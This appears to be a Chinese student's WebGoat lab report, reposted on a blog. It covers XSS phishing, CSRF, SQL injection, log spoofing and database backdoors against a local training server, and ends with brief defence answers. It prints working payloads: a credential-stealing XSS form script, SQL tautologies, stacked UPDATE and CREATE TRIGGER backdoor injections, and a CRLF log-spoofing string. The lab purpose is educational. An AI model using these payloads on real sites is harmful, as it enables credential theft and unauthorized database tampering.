20155331《网络对抗》 Exp9 Web安全基础

20155331《网络对抗》 Exp9 Web安全基础

实验过程

WebGoat

在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat。
1071515-20180528221748735-419235686.png
1071515-20180528221800009-637412604.png

打开浏览器,在地址栏输入localhost:8080/WebGoat打开WebGoat,使用默认的账号密码即可登陆。
1071515-20180528221823689-1888122331.png
1071515-20180528221831032-204176162.png

XSS攻击
Phishing with XSS 跨站脚本钓鱼攻击

任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击

在文本框里面注入代码:

</form>
<script>
function hack()
{ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("You've been attacked ... Your Identity information were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
</script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
 <br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

跳出一个攻击者编写的填写用户名和密码的表单
1071515-20180528221957915-304991335.png

攻击成功,获取用户名和密码
1071515-20180528222005882-739880295.png

Reflected XSS 反射型XSS攻击

在code框中输入
1071515-20180528222929067-2145956485.png

Stored XSS Attacks 存储型XSS攻击

打开Stored XSS Attacks,在Message里输入
1071515-20180528222843660-928331518.png

CSRF攻击
Cross Site Request Forgery(CSRF)

查看页面右边Parameters中的src和menu值
1071515-20180528222721054-2024033327.png

message框中输入代码:attack?Screen=src%E5%80%BC&menu=menu%E5%80%BC&transferFunds=%E8%BD%AC%E8%B4%A6%E6%95%B0%E9%A2%9D

提交后生成一个链接dzdd:
1071515-20180528222736678-1802831162.png

点击学号名即可查看用户操作的信息,攻击成功

CSRF Prompt By-Pass

查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:

1071515-20180528222804582-2119136616.png

提交后生成一个链接5331:
1071515-20180528222811589-536179911.png

点击学号名即可查看用户操作的信息,攻击成功
1071515-20180528222818696-1526749164.png

SQL注入攻击

SQL字符串注入

使用SQL注入查看ID卡号码,根据提示输入Smith,查询名为Smith的所有信息
1071515-20180528222957509-406194686.png

可以发现,这样就轻松得到了名为Smith的ID卡号

输入'or 1='1,构成永真式
1071515-20180528223011962-465877019.png

Numeric SQL Injection

可以发现此选择框是一个下拉框,是无法修改,因此可使用BurpSuite抓包修改
1071515-20180528223025783-1564866477.png

打开BurpSuite,在BurpSuite中依次选择Proxy->Options->Add添加一个端口,将绑定的端口设为5331,确认后会在Options下增加一行,勾选新形成的这一行
1071515-20180528223036089-906142703.png
1071515-20180528223042757-1929261246.png
点击浏览器,更多选项卡,选择preference,advanced,选择network页标签,在connection那一行选settings
1071515-20180528223139846-661465688.png

在弹出的窗口中设置代理服务器和端口

1071515-20180528223121086-1573637831.png
设置好代理后回到题目页面,点击Go,然后进入BurpSuite中依次选择Proxy->Intercept,可以看到已经抓到了包:
1071515-20180528223216063-448734203.png

右键选择send to repeater,进入repeater页标签,选择Params将其中station的值改为101 or 1=1,点击Go运行,查看右侧代码可以看到包中的SQL语句为SELECT * FROM weather_data WHERE station = 101 or 1=1
1071515-20180528223227298-2112405271.png

Log Spoofing

在User Name文本框中输入%0d%0aLogin succeeded !admin达到欺骗登录效果,破解成功:
1071515-20180528223555128-474134436.png
1071515-20180528224210274-1137037100.png
1071515-20180528224244583-735517289.png

LAB: SQL Injection of stage 1

使用字符串SQL注入绕过认证。利用SQL注入日志作为老板('neville”)没有使用正确的密码。验证neville的配置文件可以查看和所有功能可用

选择用户名为neville的admin用户,输入永真式' or 1=1 --为密码,输入时发现密码框文本长度设置不够构造永真式,执行右键->Inpect Element with Firebug,手动修改密码长度为11(永真式长度)
1071515-20180528224659986-821577405.png
登录成功

1071515-20180528224717542-1887633120.png

Database Backdoors

使用字符串SQL注入执行多个SQL语句。第一个是系统的,第二个是你的。帐户ID是101。这个页面允许你看到你的密码,SSN和工资。尝试注入另一个更新更新工资到更高的东西

输入101,得到了该用户的信息:
1071515-20180528224736442-953086742.png

输入注入语句:101; update employee set salary=100000,可以看到工资上涨。
1071515-20180528224747365-1800911959.png

使用语句101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='xiejialing@qq.com' WHERE userid = NEW.userid创建一个后门,把表中所有的邮箱和用户ID都设为我的:
1071515-20180528230308140-75807799.png

基础问题回答

SQL注入攻击原理,如何防御?
攻击原理

SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

预防

1、 普通用户与系统管理员用户的权限要有严格的区分。

2、 强迫使用参数化语句。

3、 加强对用户输入的验证。

4、 多多使用SQL Server数据库自带的安全参数。

5、必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。

XSS攻击的原理,如何防御?
攻击原理:

跨站脚本攻击,XSS攻击类似于SQL注入攻击,将攻击代码注入到网页上或者数据库存储里面,在访问网页或者执行网页上功能是就会触发,实现攻击。

防御方法:

对于用户输入的攻击,只允许输入合法的值,其它值一概过滤掉。

CSRF攻击原理,如何防御?
攻击原理:

通过劫持会话,伪造身份等方式来达到一些非法目的,例如转账,支付等

防御方法:

使用验证码,表单中附加随机值,以此来防止冒充,在对于用户的隐私数据尽量进行加密处理,加密传输

实验总结

感觉平常上网时危险还是挺多的,可以通过各种的方法实现攻击,所以在做网站编程的时候应该对用户输入的信息做出合理的判断,从而保证用户安全。

转载于:https://www.cnblogs.com/dd1174751354/p/9102763.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值